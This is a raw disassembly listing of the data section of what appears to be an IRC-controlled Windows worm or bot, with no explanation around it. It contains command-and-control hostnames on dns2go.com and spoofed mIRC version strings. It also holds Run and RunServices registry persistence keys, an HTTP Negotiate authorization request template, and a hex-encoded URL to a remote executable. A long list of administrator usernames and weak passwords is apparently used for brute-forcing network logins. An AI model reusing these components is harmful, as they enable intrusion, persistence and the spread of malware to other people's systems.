		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(5126D19Fh), 5 dup(35DBB204h), 75h dup(0)
		dd 35DBB204h, 15h dup(0)
		dd 5126D19Fh, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aSbrsfgf	db 'sbrsfgf',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 73767265h, 6578652Eh, 0
		dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn	db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
